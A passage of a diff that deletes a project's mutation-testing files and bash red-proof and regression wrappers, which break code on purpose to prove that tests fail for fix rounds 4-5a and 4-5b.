find: /, and pass each reviewer's\s+`### Declined to Judge` lines verbatim from its saved\s+`\{project_dir\}\/\.review-out-\{reviewer\}\.md`: the coordinator copies them into\s+`## Declined to Judge`, so nothing a reviewer set aside disappears\./g,
|
||||
replace: '.',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'DJ-B',
|
||||
id: 'DJ',
|
||||
what: 'both spans in agents/review-coordinator.md deleted',
|
||||
spans: [
|
||||
{
|
||||
file: 'agents/review-coordinator.md',
|
||||
find: /^- \*\*Reviewers' Declined to Judge lines\*\* \u2014 each reviewer's own\s+`### Declined to Judge` list, verbatim\. You copy them into\s+`## Declined to Judge` \(body section 9\); you do not rule on them\.\n/gm,
|
||||
replace: '',
|
||||
},
|
||||
{
|
||||
file: 'agents/review-coordinator.md',
|
||||
find: /, then every\s+line a reviewer wrote under its own `### Declined to Judge`, copied as\s+`\{reviewer\}: \{line\}` \(they are not findings: they stay out of the JSON\s+`declined_to_judge` array and do not change the verdict\)/g,
|
||||
replace: '',
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
|
@ -1,40 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5a-red.sh
|
||||
# The red proof of fix round 4-5a (brief: the last Success Criterion), as a
|
||||
# wrapper over the shared red script tests/helpers/red-round.sh. Every id of
|
||||
# the round has tests whose names start with "[id]"; each of them must fail on
|
||||
# an assertion at the round's start point ab6b32c, or, for DJ, under its
|
||||
# mutations.
|
||||
# This wrapper passes the shared script:
|
||||
# --base BASE, --ids IDS (the round's 30 ids), the round's FILES;
|
||||
# --other-ids: the ids of fix round 4-5b, read with sed from the IDS= line
|
||||
# of tests/fix-round-4-5b-red.sh (a tag on that list is not judged);
|
||||
# --mutations tests/fix-round-4-5a-mutations.mjs: DJ-A deletes the
|
||||
# copy-through span in commands/trekreview.md, DJ-B both spans in
|
||||
# agents/review-coordinator.md (DJ's defect is a missing test, its
|
||||
# sentences exist at ab6b32c, so DJ is a pass-id at the start point).
|
||||
# The shared script clones the start point outside the repo, puts the working
|
||||
# tree's tests/ in it, runs every tagged test of the files once, lets
|
||||
# tests/helpers/red-judge.mjs decide, then applies each mutation, runs DJ's
|
||||
# tests, judges and restores.
|
||||
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
|
||||
# (also: no ids on the 4-5b IDS= line); never 0 on a setup failure.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
set -f
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
|
||||
ROOT="$(pwd -P)"
|
||||
|
||||
BASE=ab6b32c9304534b77c7ca2b36e7c993682c9efde
|
||||
IDS='#52 #47 #48 #46 #2 #26 #33 #1 #30 #28 R6 D67 #15 #12 #66 #102 #57 #67 #113 #111 #24 #23 F9 F4a F4b F4c WF CL ORD DJ'
|
||||
FILES='tests/lib/fix-round-4-5a-prose.test.mjs tests/lib/verdict-gate.test.mjs tests/lib/park-attempt-files.test.mjs tests/lib/autonomy-gate.test.mjs tests/lib/arg-parser.test.mjs tests/scripts/trekreview-armb-workflow.test.mjs tests/lib/coordinator-contract.test.mjs tests/validators/next-session-prompt-validator.test.mjs'
|
||||
|
||||
OTHER=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
|
||||
if [ -z "$OTHER" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER" --mutations "$ROOT/tests/fix-round-4-5a-mutations.mjs" $FILES
|
||||
|
|
@ -1,261 +0,0 @@
|
|||
// tests/fix-round-4-5b-mutations.mjs
|
||||
// The mutations of fix round 4-5b, for the shared red script
|
||||
// (tests/helpers/red-round.sh, through tests/helpers/red-mutate.mjs). An id
|
||||
// named here has tests that pass at the round's start point be0b631 (the
|
||||
// red-proof instruments are this round's own work, and they live in the
|
||||
// working tree's tests/ that the script copies into the clone); each is
|
||||
// proven red under its mutation instead. Every span must match exactly once
|
||||
// in the clone. Data only; never matched by `npm test`. Later steps append
|
||||
// entries.
|
||||
|
||||
export const MUTATIONS = [
|
||||
{
|
||||
key: 'E23a',
|
||||
id: 'E23a',
|
||||
what: 'the base run selects one --test-name-pattern per round id instead of one ^\\[ pattern',
|
||||
spans: [
|
||||
{
|
||||
file: 'tests/helpers/red-round.sh',
|
||||
find: String.raw`run_tagged "$TMP/base.jsonl" --test-timeout=300000 --test-force-exit '--test-name-pattern=^\['`,
|
||||
replace: String.raw`PATS=''
|
||||
for id in $IDS; do
|
||||
PATS="$PATS --test-name-pattern=\\[$id\\]"
|
||||
done
|
||||
run_tagged "$TMP/base.jsonl" --test-timeout=300000 --test-force-exit $PATS`,
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'E23b',
|
||||
id: 'E23b',
|
||||
what: 'the base run loses its --test-timeout',
|
||||
spans: [
|
||||
{
|
||||
file: 'tests/helpers/red-round.sh',
|
||||
find: 'run_tagged "$TMP/base.jsonl" --test-timeout=300000',
|
||||
replace: 'run_tagged "$TMP/base.jsonl"',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'RS',
|
||||
id: 'RS',
|
||||
what: 'the clone checks out HEAD instead of the base',
|
||||
spans: [
|
||||
{
|
||||
file: 'tests/helpers/red-round.sh',
|
||||
find: 'checkout --quiet --detach "$BASE"',
|
||||
replace: 'checkout --quiet --detach HEAD',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'E23d',
|
||||
id: 'E23d',
|
||||
what: 'the red judge exits 0 on a usage error',
|
||||
spans: [
|
||||
{
|
||||
file: 'tests/helpers/red-judge.mjs',
|
||||
find: 'process.exit(2);',
|
||||
replace: 'process.exit(0);',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'E23f',
|
||||
id: 'E23f',
|
||||
what: 'the red reporter drops the result of a test named [X1] red...',
|
||||
spans: [
|
||||
{
|
||||
file: 'tests/helpers/red-reporter.mjs',
|
||||
find: 'const d = event.data || {};',
|
||||
replace: "const d = event.data || {};\n if (String(d.name).startsWith('[X1] red')) continue;",
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'E20',
|
||||
id: 'E20',
|
||||
what: 'untitled findings are placed in arrival order, not in canonical order, in the contract and the workflow',
|
||||
spans: [
|
||||
{
|
||||
file: 'lib/review/coordinator-contract.mjs',
|
||||
find: 'untitled.sort(canon)',
|
||||
replace: 'untitled',
|
||||
},
|
||||
{
|
||||
file: 'scripts/trekreview-armB.workflow.mjs',
|
||||
find: 'untitled.sort(canon)',
|
||||
replace: 'untitled',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'E16a',
|
||||
id: 'E16a',
|
||||
what: 'the next-session-prompt validator CLI loses its refusal of a --state-file with no value',
|
||||
spans: [
|
||||
{
|
||||
file: 'lib/validators/next-session-prompt-validator.mjs',
|
||||
find: String.raw`
|
||||
if (v === undefined || v.startsWith('--')) {
|
||||
process.stderr.write('next-session-prompt-validator: --state-file needs a value\n');
|
||||
process.exit(2);
|
||||
}`,
|
||||
replace: '',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'E17a',
|
||||
id: 'E17a',
|
||||
what: 'the two wave 2 sentences on outbound queries are deleted from /trekresearch',
|
||||
spans: [
|
||||
{
|
||||
file: 'commands/trekresearch.md',
|
||||
find: `It searches with the words it is given, so no
|
||||
local file name or project term may be in them. `,
|
||||
replace: '',
|
||||
},
|
||||
{
|
||||
file: 'commands/trekresearch.md',
|
||||
find: `When wave 1's external
|
||||
findings hold no leading answer, say so and give it the research question
|
||||
alone, stripped the same way. `,
|
||||
replace: '',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'E18a',
|
||||
id: 'E18a',
|
||||
what: 'the summary-only triage row of /trekreview gains .claude/rules/**',
|
||||
spans: [
|
||||
{
|
||||
file: 'commands/trekreview.md',
|
||||
find: '| `summary-only` | `docs/**`, Markdown files at the repo root other than `CLAUDE.md` and `AGENTS.md` (README, CHANGELOG), `tests/fixtures/**`. |',
|
||||
replace: '| `summary-only` | `docs/**`, Markdown files at the repo root other than `CLAUDE.md` and `AGENTS.md` (README, CHANGELOG), `tests/fixtures/**`, `.claude/rules/**`. |',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'Db',
|
||||
id: 'Db',
|
||||
what: 'a security-researcher* star is added to the README agent list, outside the diagram line',
|
||||
spans: [
|
||||
{
|
||||
file: 'README.md',
|
||||
find: '4 external agents (docs-researcher, community-researcher, security-researcher, contrarian-researcher)',
|
||||
replace: '4 external agents (docs-researcher, community-researcher, security-researcher*, contrarian-researcher)',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'M1',
|
||||
id: 'M1',
|
||||
what: 'the 13 name sites of the tests f6bdc2d added are put back to their untagged found in execution: names',
|
||||
spans: [
|
||||
{
|
||||
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
|
||||
find: '[WF] sibling: ${rel} no longer puts back what the coordinator did not return',
|
||||
replace: 'found in execution: ${rel} no longer puts back what the coordinator did not return',
|
||||
},
|
||||
{
|
||||
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
|
||||
find: '[WF] sibling: ${rel} says a finding is matched to its row',
|
||||
replace: 'found in execution: ${rel} says a finding is matched to its row',
|
||||
},
|
||||
{
|
||||
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
|
||||
find: '[WF] sibling: ${rel} puts back one copy per row',
|
||||
replace: 'found in execution: ${rel} puts back one copy per row',
|
||||
},
|
||||
{
|
||||
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
|
||||
find: "[WF] sibling: ${rel} says floor (b)'s counterpart",
|
||||
replace: "found in execution: ${rel} says floor (b)'s counterpart",
|
||||
},
|
||||
{
|
||||
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
|
||||
find: '[M1r] README.md names no "leading recommendation" trigger',
|
||||
replace: 'found in execution: README.md names no "leading recommendation" trigger',
|
||||
},
|
||||
{
|
||||
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
|
||||
find: '[#113] sibling: README.md stars security-researcher nowhere',
|
||||
replace: 'found in execution: README.md stars security-researcher nowhere',
|
||||
},
|
||||
{
|
||||
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
|
||||
find: '[M1r] README.md lists security-researcher as no conditional agent',
|
||||
replace: 'found in execution: README.md lists security-researcher as no conditional agent',
|
||||
},
|
||||
{
|
||||
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
|
||||
find: '[#113] sibling: README.md names the deep-research case of wave 2',
|
||||
replace: 'found in execution: README.md names the deep-research case of wave 2',
|
||||
},
|
||||
{
|
||||
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
|
||||
find: '[#113] sibling: README.md runs contrarian-researcher after wave 1 returns',
|
||||
replace: 'found in execution: README.md runs contrarian-researcher after wave 1 returns',
|
||||
},
|
||||
{
|
||||
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
|
||||
find: "[#111] sibling: ${rel} item 3 names Pass 3's high-effort skip",
|
||||
replace: "found in execution: ${rel} item 3 names Pass 3's high-effort skip",
|
||||
},
|
||||
{
|
||||
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
|
||||
find: '[#111] sibling: CHANGELOG ### Fixed has the **Across the round** label',
|
||||
replace: 'found in execution: CHANGELOG ### Fixed has the **Across the round** label',
|
||||
},
|
||||
{
|
||||
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
|
||||
find: '[#111] sibling: commands/trekreview.md high-effort section skips Pass 3',
|
||||
replace: 'found in execution: commands/trekreview.md high-effort section skips Pass 3',
|
||||
},
|
||||
{
|
||||
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
|
||||
find: '[#111] sibling: agents/review-orchestrator.md quick mode skips pass 3',
|
||||
replace: 'found in execution: agents/review-orchestrator.md quick mode skips pass 3',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'M1r',
|
||||
id: 'M1r',
|
||||
what: 'the README * = conditional line is put back to its 8a2a989 text, which names security-researcher when a leading recommendation forms',
|
||||
spans: [
|
||||
{
|
||||
file: 'README.md',
|
||||
find: "`* = conditional`: convention-scanner / test-strategist on medium+ codebases (50+ files); research-scout for unknown external tech; contrarian-researcher, when selected, runs in wave 2 after wave 1 returns, with the leading answer of wave 1's external findings to attack (with `--engine deep-research`, after the engine returns, from the leading answer of its report), always at `effort=high`; brief-conformance-reviewer skipped under `--quick`.",
|
||||
replace: '`* = conditional`: convention-scanner / test-strategist on medium+ codebases (50+ files); research-scout for unknown external tech; security-researcher when a leading recommendation forms (or always at `effort=high`); contrarian-researcher, when selected, runs in wave 2 after the other external agents return, with their leading answer to attack (always at `effort=high`); brief-conformance-reviewer skipped under `--quick`.',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'M7r',
|
||||
id: 'M7r',
|
||||
what: 'a HEAD read that fails (exit 128, as on an unborn HEAD) counts as in HEAD, so nothing is parked',
|
||||
spans: [
|
||||
{
|
||||
file: 'lib/util/park-attempt-files.mjs',
|
||||
find: 'return r.status === 0;',
|
||||
replace: 'return r.status === 0 || r.status === 128;',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'DJ4r',
|
||||
id: 'DJ4r',
|
||||
what: 'the lesson write returns when the lessons directory is missing, so the first lesson is never written',
|
||||
spans: [
|
||||
{
|
||||
file: 'lib/review/recurrence.mjs',
|
||||
find: 'mkdirSync(dirname(path), { recursive: true });',
|
||||
replace: 'if (!existsSync(dirname(path))) return;',
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
|
@ -1,10 +0,0 @@
|
|||
// tests/fix-round-4-5b-part-2-mutations.mjs
|
||||
// The mutations of fix round 4-5b, part 2, for the shared red script
|
||||
// (tests/helpers/red-round.sh, through tests/helpers/red-mutate.mjs). The
|
||||
// round has none: every part-2 id (TOK, HDG, CKI, DLC, KI) has tests that fail
|
||||
// on an assertion at the round's start point 52c382c, on that id's own code or
|
||||
// text, so no id needs a mutation to be proven red. red-mutate.mjs list
|
||||
// accepts the empty array, and the red script then reports 0 mutation(s).
|
||||
// Data only; never matched by `npm test`.
|
||||
|
||||
export const MUTATIONS = [];
|
||||
|
|
@ -1,44 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5b-part-2-red.sh
|
||||
# The red proof of fix round 4-5b, part 2 (plan
|
||||
# .claude/projects/2026-10-27-fix-round-4-5b-part-2, decision 88), as a
|
||||
# wrapper over the shared red script tests/helpers/red-round.sh. Every id of
|
||||
# the round has tests whose names start with "[id]"; each of them must fail
|
||||
# on an assertion at the round's start point 52c382c.
|
||||
# This wrapper passes the shared script:
|
||||
# --base BASE, --ids IDS (the round's 5 ids), the round's FILES;
|
||||
# --other-ids: the ids of fix round 4-5a and of 4-5b part 1, read with sed
|
||||
# from the IDS= lines of tests/fix-round-4-5a-red.sh and
|
||||
# tests/fix-round-4-5b-red.sh and passed as ONE value, 4-5a's first (the
|
||||
# shared script keeps only the last --other-ids it is given); a tag on
|
||||
# that list is not judged, so the [ARG] tests in bash-guard.test.mjs are
|
||||
# left to part 1;
|
||||
# --mutations tests/fix-round-4-5b-part-2-mutations.mjs (empty: every id is
|
||||
# red at the start point on its own code).
|
||||
# No --require-sha256: the round has no SHA-256 test.
|
||||
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
|
||||
# (also: no ids on either older IDS= line); never 0 on a setup failure.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
set -f
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
|
||||
ROOT="$(pwd -P)"
|
||||
|
||||
BASE=52c382c19885819d747bbcb23a34ae2015470f97
|
||||
IDS='TOK HDG CKI DLC KI'
|
||||
FILES='tests/lib/arg-parser-tokenize.test.mjs tests/hooks/bash-guard.test.mjs tests/lib/review-recurrence-check-ignore.test.mjs tests/lib/fix-round-4-5b-part-2-prose.test.mjs'
|
||||
|
||||
OTHER_A=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
|
||||
if [ -z "$OTHER_A" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_B=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
|
||||
if [ -z "$OTHER_B" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER_A $OTHER_B" --mutations "$ROOT/tests/fix-round-4-5b-part-2-mutations.mjs" $FILES
|
||||
|
|
@ -1,35 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5b-part-2-regression.sh
|
||||
# The Regression: of fix round 4-5b, part 2 (decision 88): the whole suite
|
||||
# (npm test), part 1's end to end (tests/e2e-fix-round-4-5b.sh, which drives
|
||||
# the arg parser and `recurrence.mjs apply`, both changed by part 2) and
|
||||
# part 2's red proof (tests/fix-round-4-5b-part-2-red.sh). The 4-5a and
|
||||
# part-1 red proofs are not run here: part 1's alone re-runs its base and its
|
||||
# mutations, and one Regression command has the criteria runner's 15-minute
|
||||
# cap; they run as their own Verification lines. All three run; the script
|
||||
# prints each exit and exits with the first non-zero status, or 0 when all
|
||||
# three exit 0.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "regression: cannot cd to the repo root" >&2; exit 2; }
|
||||
|
||||
FIRST=0
|
||||
|
||||
npm test
|
||||
rc=$?
|
||||
echo "regression: npm test exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/fix-round-4-5b-part-2-red.sh
|
||||
rc=$?
|
||||
echo "regression: tests/fix-round-4-5b-part-2-red.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
exit "$FIRST"
|
||||
|
|
@ -1,10 +0,0 @@
|
|||
// tests/fix-round-4-5b-part-3-mutations.mjs
|
||||
// The mutations of fix round 4-5b, part 3, for the shared red script
|
||||
// (tests/helpers/red-round.sh, through tests/helpers/red-mutate.mjs). The
|
||||
// round has none: every part-3 id (CQW, PQO, KI3) has tests that fail on an
|
||||
// assertion at the round's start point ce98f62, on that id's own code or
|
||||
// text, so no id needs a mutation to be proven red. red-mutate.mjs list
|
||||
// accepts the empty array, and the red script then reports 0 mutation(s).
|
||||
// Data only; never matched by `npm test`.
|
||||
|
||||
export const MUTATIONS = [];
|
||||
|
|
@ -1,49 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5b-part-3-red.sh
|
||||
# The red proof of fix round 4-5b, part 3 (plan
|
||||
# .claude/projects/2026-10-28-fix-round-4-5b-part-3), as a wrapper over the
|
||||
# shared red script tests/helpers/red-round.sh. Every id of the round has
|
||||
# tests whose names start with "[id]"; each of them must fail on an assertion
|
||||
# at the round's start point ce98f62.
|
||||
# This wrapper passes the shared script:
|
||||
# --base BASE, --ids IDS (the round's 3 ids), the round's FILES;
|
||||
# --other-ids: the ids of fix round 4-5a, of 4-5b part 1 and of 4-5b
|
||||
# part 2, read with sed from the IDS= lines of tests/fix-round-4-5a-red.sh,
|
||||
# tests/fix-round-4-5b-red.sh and tests/fix-round-4-5b-part-2-red.sh and
|
||||
# passed as ONE value, in that order (the shared script keeps only the
|
||||
# last --other-ids it is given); a tag on that list is not judged;
|
||||
# --mutations tests/fix-round-4-5b-part-3-mutations.mjs (empty: every id is
|
||||
# red at the start point on its own code or text).
|
||||
# No --require-sha256: the round has no SHA-256 test.
|
||||
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
|
||||
# (also: no ids on one of the three older IDS= lines); never 0 on a setup
|
||||
# failure.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
set -f
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
|
||||
ROOT="$(pwd -P)"
|
||||
|
||||
BASE=ce98f62e82af1e2c5c33cbe63808b7ec52cac000
|
||||
IDS='CQW PQO KI3'
|
||||
FILES='tests/lib/arg-parser-closing-quote.test.mjs tests/hooks/bash-guard-opener-word.test.mjs tests/lib/fix-round-4-5b-part-3-prose.test.mjs'
|
||||
|
||||
OTHER_A=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
|
||||
if [ -z "$OTHER_A" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_B=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
|
||||
if [ -z "$OTHER_B" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_C=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-2-red.sh")
|
||||
if [ -z "$OTHER_C" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-2-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER_A $OTHER_B $OTHER_C" --mutations "$ROOT/tests/fix-round-4-5b-part-3-mutations.mjs" $FILES
|
||||
|
|
@ -1,40 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5b-part-3-regression.sh
|
||||
# The Regression: of fix round 4-5b, part 3: the whole suite (npm test),
|
||||
# part 2's end to end (tests/e2e-fix-round-4-5b-part-2.sh, which drives the
|
||||
# arg parser and the args-heredoc guard, both changed by part 3), part 1's
|
||||
# end to end (tests/e2e-fix-round-4-5b.sh, which drives the arg parser) and
|
||||
# part 3's red proof (tests/fix-round-4-5b-part-3-red.sh). The 4-5a, part-1
|
||||
# and part-2 red proofs are not run here: one Regression command has the
|
||||
# criteria runner's 15-minute cap; they run as their own Verification lines.
|
||||
# All four run; the script prints each exit and exits with the first non-zero
|
||||
# status, or 0 when all four exit 0.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "regression: cannot cd to the repo root" >&2; exit 2; }
|
||||
|
||||
FIRST=0
|
||||
|
||||
npm test
|
||||
rc=$?
|
||||
echo "regression: npm test exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b-part-2.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b-part-2.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/e2e-fix-round-4-5b.sh
|
||||
rc=$?
|
||||
echo "regression: tests/e2e-fix-round-4-5b.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
/bin/bash tests/fix-round-4-5b-part-3-red.sh
|
||||
rc=$?
|
||||
echo "regression: tests/fix-round-4-5b-part-3-red.sh exited $rc"
|
||||
[ "$FIRST" -eq 0 ] && FIRST=$rc
|
||||
|
||||
exit "$FIRST"
|
||||
|
|
@ -1,52 +0,0 @@
|
|||
// tests/fix-round-4-5b-part-4-mutations.mjs
|
||||
// The mutations of fix round 4-5b, part 4 (decision 90), for the shared red
|
||||
// script (tests/helpers/red-round.sh, through tests/helpers/red-mutate.mjs).
|
||||
// An id named here has tests that pass at the round's start point 591f3c4 and
|
||||
// is proven red under its mutations instead:
|
||||
// - CTB: the catch of the shell reading already blocks at 591f3c4 (the
|
||||
// round adds only its test, through a preload); the mutation makes the
|
||||
// catch let the command through, in 591f3c4's hook.
|
||||
// - NVR: the [TOK] title and part 2's case name are already reworded in the
|
||||
// working tree's tests/ that the script copies into the clone; each
|
||||
// mutation puts the old "never" wording back into one of the two files.
|
||||
// Every span must match exactly once in the clone (591f3c4's code with the
|
||||
// working tree's tests/). Data only; never matched by `npm test`.
|
||||
|
||||
export const MUTATIONS = [
|
||||
{
|
||||
key: 'CTB-catch',
|
||||
id: 'CTB',
|
||||
what: 'the catch of the shell reading lets the command through',
|
||||
spans: [
|
||||
{
|
||||
file: 'hooks/scripts/pre-bash-executor.mjs',
|
||||
find: 'blockArgs(true, true);',
|
||||
replace: 'void 0;',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'NVR-title',
|
||||
id: 'NVR',
|
||||
what: 'the [TOK] title claims never again',
|
||||
spans: [
|
||||
{
|
||||
file: 'tests/lib/arg-parser-tokenize.test.mjs',
|
||||
find: '[TOK] a quoted value stops at a quote that starts a word, and',
|
||||
replace: '[TOK] a quoted value never swallows a later flag, and',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
key: 'NVR-e2e',
|
||||
id: 'NVR',
|
||||
what: "part 2's case name claims never again",
|
||||
spans: [
|
||||
{
|
||||
file: 'tests/e2e-fix-round-4-5b-part-2.sh',
|
||||
find: "a quoted value stops at the quote that starts --since's value",
|
||||
replace: 'a quoted value never swallows --since',
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
|
@ -1,57 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
# tests/fix-round-4-5b-part-4-red.sh
|
||||
# The red proof of fix round 4-5b, part 4 (plan
|
||||
# .claude/projects/2026-10-31-fix-round-4-5b-part-4, decision 90), as a
|
||||
# wrapper over the shared red script tests/helpers/red-round.sh. Every id of
|
||||
# the round has tests whose names start with "[id]"; CSG, SLT, ESC and KI4
|
||||
# must each fail on an assertion at the round's start point 591f3c4, and CTB
|
||||
# and NVR, whose tests pass there, are proven red under their mutations.
|
||||
# This wrapper passes the shared script:
|
||||
# --base BASE, --ids IDS (the round's 6 ids), the round's FILES (the
|
||||
# three tagged test files; the untagged reader pins stay out);
|
||||
# --other-ids: the ids of fix round 4-5a, of 4-5b part 1, of part 2 and of
|
||||
# part 3, read with sed from the IDS= lines of tests/fix-round-4-5a-red.sh,
|
||||
# tests/fix-round-4-5b-red.sh, tests/fix-round-4-5b-part-2-red.sh and
|
||||
# tests/fix-round-4-5b-part-3-red.sh and passed as ONE value, in that
|
||||
# order (the shared script keeps only the last --other-ids it is given);
|
||||
# a tag on that list is not judged;
|
||||
# --mutations tests/fix-round-4-5b-part-4-mutations.mjs (CTB-catch,
|
||||
# NVR-title, NVR-e2e).
|
||||
# No --require-sha256: the round has no SHA-256 test.
|
||||
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
|
||||
# (also: no ids on one of the four older IDS= lines); never 0 on a setup
|
||||
# failure.
|
||||
# bash 3.2 compatible, ASCII only, no arrays.
|
||||
|
||||
set -u
|
||||
set -f
|
||||
|
||||
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
|
||||
ROOT="$(pwd -P)"
|
||||
|
||||
BASE=591f3c4793c751ae3c12fae403b9735341cd7591
|
||||
IDS='CSG SLT ESC CTB KI4 NVR'
|
||||
FILES='tests/hooks/bash-guard-args-gate.test.mjs tests/hooks/bash-guard-false-stops.test.mjs tests/lib/fix-round-4-5b-part-4-prose.test.mjs'
|
||||
|
||||
OTHER_A=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
|
||||
if [ -z "$OTHER_A" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_B=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
|
||||
if [ -z "$OTHER_B" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_C=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-2-red.sh")
|
||||
if [ -z "$OTHER_C" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-2-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_D=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-3-red.sh")
|
||||
